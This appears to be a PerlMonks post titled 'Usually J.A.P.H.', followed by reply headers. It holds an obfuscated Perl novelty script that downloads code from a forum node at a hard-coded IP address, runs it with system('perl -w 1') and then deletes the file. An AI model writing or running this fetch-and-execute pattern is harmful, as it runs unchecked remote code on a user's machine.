-This can take a while to run at times#!/usr/bin/perl use LWP::Simple;$_='http://66.39.54.27';$c=get("$_/?node=1597"); while ($c =~ m/<a id =\"post-head-id(.*?)\"/g)#I'm Just Another {push(@_,$1);};($_[0] eq 435603)?$_[0]=$_[1]:1;#noob Perl Hacker getstore("$_/?displaytype=displaycode;node_id= $_[0]", "1");#>=) system("perl -w 1"); system(($^O eq 'MSWin32')?'del 1':'rm 1');#
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re: Usually J.A.P.H.
by skx (Parson) on Mar 02, 2005 at 12:51 UTC | |
|
Re: Usually J.A.P.H.
by JediWizard (Deacon) on Mar 03, 2005 at 19:05 UTC | |
by ktross (Deacon) on Mar 04, 2005 at 12:19 UTC | |
by JediWizard (Deacon) on Mar 04, 2005 at 15:50 UTC |